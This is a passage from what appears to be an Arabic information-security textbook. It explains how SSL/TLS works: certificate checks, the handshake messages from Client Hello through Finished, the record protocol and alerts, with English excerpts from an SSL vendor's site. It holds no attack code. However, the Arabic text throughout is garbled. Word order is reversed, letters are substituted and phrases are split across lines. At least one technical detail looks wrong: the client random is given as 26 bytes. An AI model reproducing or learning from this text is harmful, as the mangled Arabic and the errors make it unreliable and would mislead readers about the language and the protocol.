‫املعادل‬
‫ة‬
‫التالي‬
‫ة‬
‫عملية‬ ‫عن‬ ‫تعرب‬
‫ال‬
Decryption
‫تتم‬ ‫التي‬
‫استالمه‬ ‫عند‬ ‫طرف‬ ‫أي‬ ‫بواسطة‬
‫ال‬
Certificate
‫اخلاص‬
‫ة‬
‫بالطرف‬
A
:
D (PUauth, CA) = D (PUauth, E (PRauth, [T || IDA || PUa])) = (T || IDA || PUa)
‫بعمل‬ ‫قيقوم‬
Decryption
‫ال‬ ‫باستخدام‬ ‫هلا‬
Public Key
‫بال‬ ‫اخلاص‬
Authurity
‫الشهاد‬ ‫بيانات‬ ‫رؤية‬ ‫من‬ ‫ليتمكن‬
‫ة‬
‫وال‬
Public Key
‫اخل‬
‫بالطرف‬ ‫اص‬
A
.
‫ال‬ ‫األطراف‬ ‫تبادل‬ ‫يوضح‬ ‫الشكل‬
Certificates
‫ال‬ ‫نفس‬ ‫من‬ ‫اعتامدذا‬ ‫بعد‬
CA
.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[391]
Inside Secure Socket Layer (SSL)
‫ال‬ ‫م‬َ‫َخد‬‫ت‬‫س‬ُ‫ي‬
SSL
‫ال‬ ‫أو‬
TLS
‫البيانات‬ ‫تشفري‬ ‫يف‬
‫ال‬ ‫بني‬
Web Servers
‫وال‬
Browsers
‫اإلنرتنت‬ ‫عرب‬
.
‫بقيامه‬ ‫وذلك‬
‫عىل‬ ‫الطرقني‬ ‫بني‬ ‫التواقق‬ ‫بإجراء‬
‫ال‬ ‫أنواع‬
Algorthims
‫ن‬‫وم‬ ،‫وترتيبها‬ ‫اإلتصال‬ ‫تأمني‬ ‫يف‬ ‫مة‬َ‫ستخد‬ُ‫مل‬‫ا‬
‫البيانات‬ ‫ل‬ُ‫د‬‫َبا‬‫ت‬ ‫م‬َ‫ث‬
.‫بأمان‬
‫مقدم‬ ‫ماييل‬
‫ة‬
‫ِسيع‬
‫ة‬
‫موقع‬ ‫من‬ ‫عنه‬
info.ssl.com
SSL is the standard security technology for establishing an encrypted link between a web server and a
browser. This link ensures that all data passed between the web server and browsers remain private and
integral. SSL is an industry standard and is used by millions of websites in the protection of their online
transactions with their customers.
To be able to create an SSL connection a web server requires an SSL Certificate. When you choose to
activate SSL on your web server you will be prompted to complete a number of questions about the
identity of your website and your company. Your web server then creates two cryptographic keys - a
Private Key and a Public Key.
The Public Key does not need to be secret and is placed into a Certificate Signing Request (CSR) - a data
file also containing your details. You should then submit the CSR. During the SSL Certificate application
process, the Certification Authority will validate your details and issue an SSL Certificate containing your
details and allowing you to use SSL. Your web server will match your issued SSL Certificate to your
Private Key. Your web server will then be able to establish an encrypted link between the website and
your customer's web browser.
Typically an SSL Certificate will contain your domain name, your company name, your address, your
city, your state and your country. It will also contain the expiration date of the Certificate and details of
the Certification Authority responsible for the issuance of the Certificate. When a browser connects to a
secure site it will retrieve the site's SSL Certificate and check that it has not expired, it has been issued by
a Certification Authority the browser trusts, and that it is being used by the website for which it has been
issued. If it fails on any one of these checks the browser will display a warning to the end user letting
them know that the site is not secured by SSL.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[392]
‫ال‬ ‫بروتوكول‬ ‫يعمل‬
SSL
‫ال‬ ‫قوق‬
Transport Layer
‫ال‬ َ
‫قوق‬ َ‫أي‬ ،
TCP
‫ك‬ ‫يعمل‬ ‫قهو‬ .
Socket
‫ال‬ ‫بني‬
Application
Layer
‫وال‬
Transport Layer
‫لل‬ ‫اإلتصال‬ ‫بتأمني‬ ‫ويقوم‬ ،
Applications
‫ال‬ ‫عىل‬ ‫تعتمد‬ ‫التي‬
TCP
‫لنقل‬ ‫كربوتوكول‬
‫ال‬
Data
:‫التايل‬ ‫بالشكل‬ ‫يظهر‬ ‫كام‬
‫ال‬ ‫يقوم‬
SSL
‫بخدمة‬
‫ال‬
Application Layer Protocols
‫كال‬
HTTP
‫ال‬ ‫عىل‬ ‫ويعتمد‬ ،
TCP
‫ال‬ ‫نقل‬ ‫عملية‬ ‫يف‬
Messages
‫ال‬ ‫بني‬
Web Servers
‫وال‬
Browsers
.
‫ال‬ ‫بتغطية‬ ‫سنبدأ‬ ..‫واآلن‬
SSL
‫بيشء‬
.‫التفصيل‬ ‫من‬
‫احلقيق‬ ‫يف‬
‫ة‬
‫ال‬ ‫يعمل‬ ‫ال‬ ،
SSL
‫د‬َ‫ع‬ُ‫ي‬ ‫ال‬ ‫أنه‬ ‫أي‬ ،‫وحيدة‬ ‫طبقة‬ ‫يف‬
Single Protocol
‫يف‬ ‫ل‬َ‫عم‬َ‫ي‬ ‫ولكن‬ !..
‫ال‬ ‫قوق‬ ‫طبقتني‬
TCP
‫يظهر‬ ‫كام‬
‫بالشكل‬
‫الشكل‬ ‫لنا‬ ‫ر‬‫ظه‬ُ‫ي‬ ً‫ا‬‫أيض‬ .
‫بعض‬
‫ال‬
،‫الربوتوكول‬ ‫ِبذا‬ ‫اخلاصة‬ ‫تفاصيل‬
“SSL Protocol Stack”
.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[393]
‫طبقتني‬ ‫ل‬َ‫غ‬‫ش‬َ‫ي‬ ‫أنه‬ ‫ظ‬‫ُالح‬‫ن‬ ‫كام‬
:
(Two Layers)
‫لل‬ ‫م‬ُ‫لحداذ‬ ،
SSL Record Protocol
،
‫ال‬ ‫م‬ُ‫ظفه‬َ‫و‬ُ‫ي‬ ‫بروتوكوالت‬ ‫ثالثة‬ ‫ل‬َ‫َشم‬‫ت‬ ‫التي‬ ‫واألطرى‬
SSL
‫لد‬ ‫يف‬
‫ال‬ ‫عملية‬ ‫ارة‬
Message Exchanges
.‫الطرقني‬ ‫بني‬
‫ال‬ ‫لنشاء‬ ‫يتم‬
Connection
:‫مرحلتني‬ ‫عىل‬

‫ال‬ َ‫وذي‬ ‫األوىل‬ ‫املرحلة‬
Handshake Phase
.

‫الثاني‬ ‫املرحلة‬
‫ة‬
َ‫وذي‬
Secure Data Transfer Phase
.
Handshake Phase
‫ال‬ ‫عملية‬ ‫املرحلة‬ ‫ذذه‬ ‫يف‬ ‫تتم‬
Authentication
‫ال‬ ‫بني‬
Client
‫وال‬
Server
‫والتفاوض‬ ،
(Negotiate)
‫ال‬ ‫نوع‬ ‫ل‬‫و‬ َ‫ح‬
Cryptographic Algorithms
‫وال‬
Keys
‫م‬َ‫َخد‬‫ت‬‫س‬ُ‫مل‬‫ا‬
‫ة‬
‫ال‬ ‫لرسال‬ ‫تأمني‬ ‫يف‬
Data
.
‫ال‬ ‫يوضح‬ ‫شكل‬ ‫ماييل‬
Messages
‫ال‬ ‫بني‬ ‫املرحلة‬ ‫ذذه‬ ‫طالل‬ ‫تتم‬ ‫التي‬
Client
‫وال‬
Server
.
‫ال‬ ‫د‬َ‫ع‬ُ‫ي‬
Handshake Protocol
‫ال‬ ‫عملية‬ ‫عن‬ ‫املسؤول‬ ‫نا‬ُ‫ذ‬
Authentication
‫و‬
‫ال‬
Negotiation
.‫ذذه‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[394]
‫بأول‬ ‫نبدأ‬
Message
‫ال‬ َ‫وذي‬
“Client Hello”
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[395]
‫ال‬ ‫يقوم‬
Client (Browser)
‫ال‬ ‫ببدء‬ ‫نا‬ُ‫ذ‬
Session
‫ال‬ ‫مع‬
Web Server
‫ال‬ ‫ذذه‬ ‫لرسال‬ ‫طريق‬ ‫عن‬
Msg
‫وحتوي‬ ،
:‫اآليت‬
Version
The Client sends the version number that it supports. For example, for SSLv3, the version
number is 3.0. For TLS, the version number is 3.1.
Random
‫من‬ ‫ن‬‫كو‬ُ‫م‬ ‫عشوائي‬ ‫رقم‬ ‫عن‬ ‫عبارة‬ ‫ذو‬
26 Byte
‫ال‬ ‫من‬ ‫كل‬ ُ‫ه‬‫خيتار‬
Server
‫وال‬
Client
‫ُل‬‫ك‬‫ل‬
Connection
‫ث‬ُ‫حيد‬
.‫بينهم‬
Session ID (if any)
This is included if the Client wants to resume a previous session. If the Session ID Length is 0, it
indicates a new session.
Cipher Suite
This is the list of cipher suites that are supported by the Client.
‫ال‬ ‫ذذا‬ ‫لتوضيح‬ ‫ثال‬‫َم‬‫ك‬‫و‬
Cipher Suite
َ‫ن‬ َ
‫س‬
‫ض‬‫عر‬
:‫أحدذم‬
)TLS_RSA_WITH_DES_CBC_SHA(
TLS is the protocol version, RSA is the algorithm that will be used for key exchange, DES_CBC
is the encryption algorithm, and SHA is the hash function.
‫ال‬ ‫ماذذا‬ ‫ولكن‬
CBC
‫ال‬ ‫مع‬ ‫م‬َ‫َخد‬‫ت‬‫س‬ُ‫مل‬‫ا‬
DES Cryptosystem
‫؟‬..
‫ال‬ ‫أنواع‬ ‫ال‬ ‫أحد‬ ‫لنه‬
“Modes of Operation”
َ‫ت‬‫س‬ُ‫مل‬‫ا‬
َ‫خد‬
َ‫م‬
‫ة‬
‫يف‬
‫ال‬ ‫تشفري‬
Blocks of Data
‫زياد‬ ‫بغرض‬
‫ة‬
‫يف‬ ‫التعقيد‬
‫ال‬ ‫بني‬ ‫العالقة‬
Plaintext
‫وال‬
Ciphertext
.
‫ل‬ ‫مثال‬ ‫ماييل‬
“Client Hello”
‫بال‬ ‫التقاطها‬ ّ‫َم‬‫ت‬
WireShark
.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[396]
‫طالل‬ ‫من‬ ‫نستنتج‬
‫املطروح‬ ‫البدائل‬
‫ة‬
‫ال‬ ‫حتت‬
cipher suites
‫ال‬ ‫ذذا‬ ‫أن‬
browser
‫يدعم‬
‫ال‬ ‫طاصية‬
PFS
‫و‬
:‫تعني‬
(Perfect Forward Secrecy)
‫ذم‬ ‫لنوعني‬ ‫أولوية‬ ‫لعطاء‬ ‫بسبب‬ ‫وذلك‬
(DHE and Elliptical DH)
..
‫سنتحدث‬
‫اخلاصية‬ ‫ذذه‬ ‫عن‬
..‫قليل‬ ‫بعد‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[397]
‫الشكل‬ ‫يف‬ ‫الحظ‬
‫السابق‬
‫م‬َ‫ستخد‬ُ‫مل‬‫ا‬ ‫الربوتوكول‬
،
‫و‬
‫ال‬ ‫ذو‬
Handshake
‫وال‬ ،
Handshake Type
‫ال‬ َ‫وذي‬
Client
Hello
‫ال‬ ً‫ا‬‫أيض‬ ،
Version
‫وال‬
Random
‫ال‬ ‫م‬ُ‫ث‬ ،
Session ID
ُ‫ه‬‫وقيمت‬
"
‫صفر‬
"
‫أهنا‬ ‫يعني‬ ُ
‫حيث‬
Session
‫جديد‬
‫ة‬
.!
‫أذم‬ ‫لنا‬ ‫يأيت‬ ً‫ا‬‫وأطري‬
Parameter
‫ال‬ ‫ضها‬‫عر‬َ‫ي‬ ‫التي‬ ‫البدائل‬ ‫أو‬ ‫اإلحتامالت‬ ‫وذو‬ ‫الرسالة‬ ‫ذذه‬ ‫يف‬
Browser
‫ال‬ ‫عىل‬
Web
Server
‫ال‬ ‫يقوم‬ ‫كي‬
Server
‫ال‬ ‫ذذه‬ ‫من‬ ‫واحدة‬ ‫باطتيار‬
Cipher Suites
‫ال‬ ‫ولبالغ‬
Browser
‫التي‬ ‫الرسالة‬ ‫يف‬ ‫ِبا‬
َ‫وذي‬ ،‫تليها‬
‫ال‬
“Server Hello”
.
‫ماييل‬
Message
‫نوع‬ ‫من‬
Hello
‫ال‬ ‫طرف‬ ‫من‬ ‫قادمة‬
Server
‫بال‬ ‫التقاطها‬ ‫تم‬
WireShark
:
‫ال‬ ‫أن‬ ‫األطري‬ ‫قبل‬ ‫السطر‬ ‫يف‬ ‫ظ‬‫ُالح‬‫ن‬
Web Server
‫البدائ‬ ‫أحد‬ ‫باطتيار‬ ‫قام‬
‫ل‬
‫من‬ ‫ونستنتج‬ ،
‫ذذا‬ ‫اطتياره‬
:‫ماييل‬
The long-term keys are used both for the server’s authentication and for the session key
generation by means of RSA key exchange mechanism.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[398]
‫ال‬ ‫أن‬ ‫يعني‬ ‫وذذا‬
server
‫مل‬
‫تدعم‬ ‫التي‬ ‫البدائل‬ ‫أحد‬ ‫ليختار‬ ‫لديه‬ ‫اإلعدادات‬ ‫ضبط‬ ‫يتم‬
‫ال‬ ‫طاصية‬
PFS
،
‫ال‬ ‫ذذا‬ ‫تذكر‬
cipher suite
‫ال‬ ‫اطتاره‬ ‫الذي‬
server
‫ال‬ ‫ققرة‬ ‫يف‬ ‫عنه‬ ‫سنتحدث‬ ‫ألننا‬
PFS
.
‫ال‬ ‫يف‬ ‫ططوة‬ ‫أول‬ ‫تنتهي‬ ‫وِبذا‬
Handshake Phase
‫ال‬ َ‫وذي‬
Hello Message
.
‫ذذا‬
‫ال‬
:‫اخلطوة‬ ‫ذذه‬ ‫لنا‬ ‫ص‬ِّ‫لخ‬ُ‫ي‬ ‫شكل‬
‫ال‬ ‫ذذا‬ ‫يف‬ ‫الثانية‬ ‫اخلطوة‬ ‫لىل‬ ‫سننتقل‬
Phase
‫ال‬ َ‫وذي‬
“Authentication and Key Exchange”
‫اخلطو‬ ‫ذذه‬ ‫تبدأ‬
‫ة‬
‫ال‬ ‫يقوم‬ ‫بأن‬
Web Server
‫ال‬ ‫بإرسال‬
Certificate
‫اخلاص‬
‫ة‬
‫ال‬ ‫لىل‬ ‫به‬
Browser
‫ال‬ ‫وحتوي‬ ،
Public
Key
‫بال‬ ‫اخلاص‬
Server
.
‫ال‬ ‫ذذا‬
Server’s Public Key
‫ال‬ ُ‫ه‬‫سيستخدم‬
Browser
‫الثالث‬ ‫اخلطوة‬ ‫يف‬ ‫قليل‬ ‫بعد‬
‫ة‬
‫إلرسال‬
Key
‫يقوم‬ ‫جديد‬
‫ى‬ّ‫سم‬ُ‫ي‬ ‫بإنشاؤه‬
"
Pre_Master_Secret Key
"
‫ال‬ ‫لىل‬
Server
.
‫ال‬ ‫لرسال‬ ‫يتم‬
Pre_Master_Secret_Key
ً‫ا‬‫ر‬‫شف‬ُ‫م‬
‫بال‬
Server’s Public Key
..
‫الرسال‬ ‫ذذه‬
‫ة‬
‫بعنوان‬ ‫تكون‬
“Client_Key_Exchange”
‫اخلطو‬ ‫يف‬ ً‫ا‬‫مع‬ ‫ُشاذدذا‬‫ن‬‫س‬
‫ة‬
‫الثالث‬
‫ة‬
(Step 3)
‫لن‬
.‫شاءاهلل‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[399]
‫ال‬ ‫قيقوم‬
Server
‫ال‬ ‫بتطبيق‬
Server’s Private Key
‫الرسال‬ ‫عىل‬
‫ة‬
‫ل‬َ‫م‬َ‫ع‬‫و‬
recover
‫لل‬
Pre_Master_Secret Key
.
‫ال‬ ‫ذذا‬ ‫وما‬
"
Pre_Master_Secret_Key
‫؟‬.."
،‫لسمه‬ ‫من‬ ً‫ا‬‫واضح‬ ‫يبدو‬
“Pre_Master”
‫أنه‬
Key
َ‫ل‬َ‫د‬‫عا‬ُ‫م‬ ‫يف‬ ‫م‬ُ‫الذ‬‫ك‬ ُ‫ه‬‫م‬‫ستخد‬َ‫ي‬ َ
‫س‬ ‫مؤقت‬
‫ة‬
‫ل‬َ‫م‬َ‫ع‬‫ل‬
generate
‫ل‬
Key
،‫ر‬ َ
‫آط‬
‫ال‬ ‫ذو‬
Session key
،
..ً‫ا‬‫الحق‬ ‫لليهم‬ ‫سنتعرض‬
‫ال‬ ‫ذذا‬ ‫يف‬ ‫الثانية‬ ‫اخلطوة‬ ‫يوضح‬ ‫شكل‬ ‫ماييل‬
Phase
.
‫ال‬ ‫لرسال‬ ‫ظ‬‫ُالح‬‫ن‬
Server
‫لل‬
Certificate
‫أ‬ ‫يف‬
‫ول‬
Message
‫بعنوان‬ ‫التي‬ ‫الثانية‬ ‫الرسالة‬ ً‫ا‬‫أيض‬ .
“Server_Key_Exchange”
‫ها‬‫ب‬‫جان‬‫ب‬ ‫مكتوب‬
(Optional)
!..
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[400]
‫ملاذا؟‬
‫أل‬
‫ال‬ ‫ن‬
Server
‫نا‬ُ‫ذ‬
‫باطتيار‬ ‫قام‬
key exchange
RSA
،
‫بحاجه‬ ‫يكون‬ ‫لن‬ ‫بالتايل‬
‫هل‬
،‫ا‬
‫ال‬ ‫نهي‬ُ‫ي‬ ‫م‬ُ‫ث‬
Server
‫الثاني‬ ‫طوة‬ُ‫خل‬‫ا‬
‫ة‬
‫برسالة‬
“Server_Hello_Done”
‫ر‬‫ط‬ ُ
‫وخي‬
‫ال‬ ‫ِبا‬
Client
‫اخلطو‬ ‫ذذه‬ ‫أهنى‬ ‫أنه‬
‫ة‬
‫ال‬ ‫طرف‬ ‫من‬ ‫الرد‬ ‫وينتظر‬ ،
Client
.
‫ماييل‬
Session
‫ال‬ ‫أرسلها‬ ‫رسالة‬ ‫ألول‬
Server
‫ال‬ ‫حتوي‬ ‫التي‬
Certificate
.
‫ال‬ ‫حتوي‬ ‫أهنا‬ ‫ظ‬‫الح‬
Public Key
‫بال‬ ‫اخلاص‬
Server
،)‫باألسفل‬ ‫حتديده‬ ‫(تم‬
‫ال‬ ‫يف‬ ‫الثانية‬ ‫اخلطوة‬ ‫تنتهي‬ ‫نا‬ُ‫ذ‬ ‫لىل‬
Handshake Phase
.
‫الثالث‬ ‫طوة‬ُ‫خل‬‫ا‬ ‫تبدأ‬ ‫م‬ُ‫ث‬
‫ة‬
(Step 3)
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[401]
‫ال‬ ‫بني‬ ‫التواقق‬ ‫ث‬ُ‫د‬ َ
‫حي‬ ‫وقيها‬
Client
‫وال‬
Server
‫عىل‬
“Shared Key”
‫وذو‬ ‫بينهم‬ ‫قيام‬
“Pre_Master_Secret_Key”
‫ذكرناه‬ ‫الذي‬
‫قبل‬ ‫من‬
.
‫ال‬ ‫عىل‬ ‫الضوء‬ ‫بتسليط‬ ‫سنقوم‬
Messages
‫هم‬ُ‫مل‬‫ا‬
‫ة‬
.
‫الشكل‬ ‫يف‬ ‫يظهر‬
‫الثاني‬ ‫الرسالة‬
‫ة‬
‫بعنوان‬ ‫التي‬
“Client_Key_Exchange”
..
‫ال‬ ‫اطتيار‬ ‫تم‬ ‫أنه‬ ‫وبام‬
RSA
..‫قبل‬ ‫من‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[402]
‫ق‬
‫هذه‬
‫الرسال‬
‫ة‬
‫س‬
‫ال‬ ‫عىل‬ ‫تحتوي‬
“Pre_Master_Secret Key”
،
‫ال‬ ‫يقوم‬ ُ
‫حيث‬
client
‫بعمل‬
generate
‫له‬
‫وتشفريه‬ ،
‫ال‬ ‫باستخدام‬
Server’s public key
،
‫ال‬ ‫لىل‬ ُ‫ه‬‫ل‬‫رس‬ُ‫ي‬ ‫ثم‬
Server
.
‫ال‬ ‫ذذا‬
Key
‫ال‬ ‫ن‬‫م‬ ‫ُل‬‫ك‬ ُ‫ه‬‫م‬‫ستخد‬َ‫ي‬ َ
‫س‬
Server
‫وال‬
Client
‫لنتاج‬ ‫يف‬
Key
:‫اسمه‬ ‫آطر‬
“Master_Secret_Key”
،
‫عن‬ ‫عبارة‬ ‫وذو‬
48-byte value)
(One-time
َ‫ل‬‫عاد‬ُ‫بم‬ ُ‫ه‬‫لنتاج‬ ‫يتم‬ ،
‫ة‬
‫ال‬ ‫ِبا‬ ‫ل‬ ُ
‫يدط‬
“Pre_Master_Secret Key”
‫وال‬
“Client and Server Random values”
.
‫ال‬ ‫ذذه‬
Randoms
‫التي‬ َ‫ذي‬
‫قد‬
‫ال‬ ‫أثناء‬ ‫هلا‬ُ‫د‬‫تبا‬ ‫َم‬‫ت‬
“Hello_Messages”
‫األوىل‬ ‫اخلطوة‬ ‫يف‬
،
‫و‬
‫يتم‬
‫ال‬ ‫بتطبيق‬ ‫ذلك‬
Cryptographic Hash Algorithms
.‫دطالت‬ُ‫مل‬‫ا‬ ‫ذذه‬ ‫عىل‬
‫ال‬ ‫دطول‬ ‫قائدة‬ ‫ما‬ ‫ولكن‬
"
Client and Server Random values
"
‫العملي‬ ‫ذذه‬ ‫يف‬
‫ة‬
‫؟‬
‫ال‬ ‫ذذه‬
Random
‫ثابة‬َ‫م‬‫ب‬ ‫د‬َ‫ع‬ُ‫ت‬
‫ال‬
“Salt”
‫يف‬
‫العالق‬ ‫تكون‬ ‫لكي‬ ،‫عادلة‬ُ‫مل‬‫ا‬ ‫ذذه‬
‫ة‬
‫و‬ ‫دطالت‬ُ‫مل‬‫ا‬ ‫بني‬
ُ‫مل‬‫ا‬
‫غري‬ ‫عالقة‬ ‫خرجات‬
..‫بارشه‬ُ‫م‬
‫عن‬ ‫حتدثنا‬
‫ال‬ ‫قائدة‬
Salt
‫الت‬ ‫عملية‬ ‫يف‬
‫شفري‬
‫تتذكرذا؟‬ ‫ذل‬ ،!‫قبل‬ ‫من‬
..
‫الرسال‬ ‫تفاصيل‬ ‫يوضح‬ ‫التايل‬ ‫الشكل‬
‫ة‬
‫ال‬ ‫قام‬ ‫التي‬
Client
‫ال‬ ‫لىل‬ ‫بإرساهلا‬
Server
.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[403]
‫ال‬ ‫يقوم‬
Client
‫ذلك‬ ‫بعد‬
‫بإرسال‬
“Change_Cipher_Spec”
،
‫وتعني‬
‫ال‬ ‫غ‬‫ل‬‫ب‬ُ‫ي‬ ‫أنه‬
Server
‫بأن‬
‫ال‬
Messages
‫التي‬
‫ال‬ ‫باستخدام‬ ‫ره‬‫شف‬ُ‫م‬ ‫ستكون‬ ‫سالة‬‫الر‬ ‫ذذه‬ ‫ب‬ُ‫ق‬‫ستع‬
session Key
‫منهم‬ ‫كل‬ ‫لدى‬ ‫تكوينه‬ ‫تم‬ ‫الذي‬
.
‫ال‬ ‫ذذا‬ ..!‫حلظة‬ ‫ولكن‬
(Change Cipher Spec)
!‫بل‬َ‫ق‬ ‫ن‬‫م‬ ُ‫ه‬‫رأينا‬
‫ال‬ ‫يوظفهم‬ َ‫كان‬ ‫الذي‬ ‫وتوكوالت‬ ُ
‫الرب‬ ‫أحد‬ ُ‫ه‬‫لن‬
SSL
.‫اإلتصال‬ ‫عملية‬ ‫لدارة‬ ‫يف‬
Change Cipher Spec Protocol
‫ال‬ ‫يف‬ ‫يعمل‬ ‫الربوتوكول‬ ‫ذذا‬
Application Layer
‫ال‬ ‫نقل‬ َ‫وذي‬ ‫وحيدة‬ ‫بوظيفة‬ ‫ويقوم‬ ،‫نعلم‬ ‫كام‬
State
‫احلالي‬
‫ة‬
‫ال‬ ‫بني‬
Client
‫وال‬
Server
‫ال‬ ‫من‬
Pending
‫ال‬ ‫لىل‬
Current State
.
‫ال‬ ‫ماذذا‬
Pending
‫وال‬
Current
‫؟‬..
‫ال‬ ‫مرحلة‬ ‫طوال‬ ‫أنه‬ ‫الواضح‬ ‫من‬
Handshake Phase
‫ا‬ ‫تكون‬
‫ل‬
State
‫بال‬ ‫اخلاصة‬
Connection
‫غري‬ ‫الطرقني‬ ‫بني‬
‫ستقر‬ُ‫م‬
‫ة‬
‫ال‬ ‫وتكوين‬ ‫بينهم‬ ‫اإلتفاق‬ ‫حدوث‬ ‫د‬‫جر‬ُ‫م‬‫وب‬ ،
Master Secret Key
‫احلالة‬ ‫بتغيري‬ ‫الربوتوكول‬ ‫ذذا‬ ‫يقوم‬ ،
‫بعمل‬ ‫يقوم‬ ‫ببساطة‬ ..‫بينهم‬
update
‫لل‬
Cipher Suite
‫ال‬ ‫ذا‬‫هل‬ ‫استخدامه‬ ‫يتم‬ ‫كي‬
Connection
ً‫ة‬‫ونتيج‬ .‫ث‬‫احلاد‬
..‫لذلك‬
‫الرسالة‬ ‫ل‬ُ‫د‬‫َبا‬‫ت‬‫ب‬ ‫بعدذا‬ ‫الطرقني‬ ‫يبدأ‬
“Change_Cipher_Spec”
.
‫ال‬ ‫بواسطة‬ ‫لرساهلا‬ ‫يتم‬ ‫ال‬ ‫الرسالة‬ ‫ذذه‬ ‫أن‬ ‫يعني‬ ‫ذذا‬
Handshake Protocol
.‫اآلطر‬ ‫بالربوتوكول‬ ‫لرساهلا‬ ‫يتم‬ ‫بل‬ ،
‫ال‬ ‫يقوم‬ ‫وبعدذا‬
Client
‫رسالة‬ ‫بإرسال‬ ً‫ا‬‫قور‬
“Client_finished”
‫ق‬‫ب‬َ‫ط‬ُ‫م‬
‫ال‬ ‫عليها‬
Algorithms
‫وال‬
Keys
،‫اجلديدة‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[404]
‫ال‬ ‫قيقوم‬
Server
‫بإرسال‬ ‫عليه‬ ‫بالرد‬
“Change_Cipher_Spec”
‫برسالة‬ ‫متبوعة‬ ..ً‫ا‬‫أيض‬
“Server_Finished”
‫ك‬
:‫ييل‬ ‫ام‬
‫ال‬ ‫رسالة‬ ‫انتهاء‬ ‫بعد‬ ‫الشكل‬ ‫يف‬ ‫يظهر‬
Finished
‫ال‬ ‫ل‬ُ‫د‬‫َبا‬‫ت‬ ‫بداية‬
(Application Layer Data)
.‫ي‬ ّ
‫وِس‬ ‫ن‬‫آم‬ ‫كل‬ َ
‫ش‬‫ب‬
‫ال‬ ‫ماذذا‬ ‫ولكن‬
“Record Protocol”
‫باألعىل؟‬ ‫الشكل‬ ‫يف‬ ‫يظهر‬ ‫الذي‬
‫ال‬ ‫نقل‬ ‫عن‬ ‫املسؤول‬ ‫الربوتوكول‬ ُ‫ه‬‫أن‬ ‫واضح‬
Application Data
‫ال‬ ‫بني‬
Server
‫وال‬
Client
.
‫يعمل‬ ‫الربوتوكول‬ ‫ذذا‬
‫ال‬ ‫قوق‬
TCP
:‫الربوتوكول‬ ‫ذذا‬ ‫عمل‬ ‫آلية‬ ‫ح‬ ِّ
‫يوض‬ ‫شكل‬ ‫ماييل‬ ..ً‫ة‬‫بارش‬ُ‫م‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[405]
‫ال‬ ‫الربوتوكول‬ ‫ذذا‬ ‫يستلم‬ ،‫الشكل‬ ‫عىل‬ ً‫ء‬‫بنا‬
Data
‫ال‬ ‫من‬
Application Layer
‫بعمل‬ ‫ويقوم‬
Fragment
‫م‬ُ‫ث‬ ‫ا‬ َ‫هل‬
‫ال‬ ‫ولضاقة‬ ،‫ضغطها‬
Message Authentication Code
‫بال‬ ‫تشفريذا‬ ‫م‬ُ‫ث‬ ،‫عليها‬
Key_Block
‫ال‬ ‫لضاقة‬ ً‫ا‬‫أطري‬ ‫م‬ُ‫ث‬
Header
‫ال‬ ‫عىل‬ ‫ه‬‫ب‬ ‫اخلاص‬
Packet
‫ال‬ ‫لىل‬ ‫وتسليمها‬
TCP
‫نقلها‬ ‫لية‬َ‫م‬َ‫ع‬ ‫َبدأ‬‫ت‬‫ل‬
.‫اآلطر‬ ‫الطرف‬ ‫لىل‬
‫ال‬ ‫ريك‬ُ‫أ‬ ‫دعني‬
SSL Protocol Architecture
.‫له‬َ‫م‬َ‫ع‬ ‫آلية‬ َ
‫مت‬‫ه‬َ‫ق‬ ‫أن‬ ‫بعد‬ ‫أطرى‬ ً‫ة‬‫مر‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫المعلوما‬‫وأمن‬
‫ت‬
Understanding Hacking and Information Security
Cryptography
[406]
‫ال‬ ‫ذذا‬ ‫وظيفة‬ ‫ما‬ ‫ولكن‬
Alert Protocol
‫؟‬..
‫ال‬ ‫بنقل‬ ‫يقوم‬ ‫قهو‬ ..!‫لسمه‬ ‫من‬ ً‫ا‬‫واضح‬ ‫يبدو‬
“SSL-related Alerts”
‫ال‬ ‫ذذه‬ ،‫الطرقني‬ َ‫بني‬
Alerts
‫داط‬ ‫نقلها‬ ‫يتم‬
‫ل‬
.ً‫ا‬‫أيض‬ ‫ره‬‫شف‬ُ‫م‬‫و‬ ‫مضغوطة‬ ‫رسائل‬
‫ناك‬ُ‫ذ‬
‫ال‬ ‫من‬ ‫نوع‬
Alerts
‫سمى‬ُ‫ي‬
Fatal Alerts
،
‫يتم‬
‫تبادهلا‬
‫طلل‬ ‫أي‬ ‫حدوث‬ ‫حالة‬ ‫يف‬
.‫التواصل‬ ‫بعملية‬ ‫ق‬ِّ‫ل‬‫تع‬ُ‫م‬
‫ماييل‬
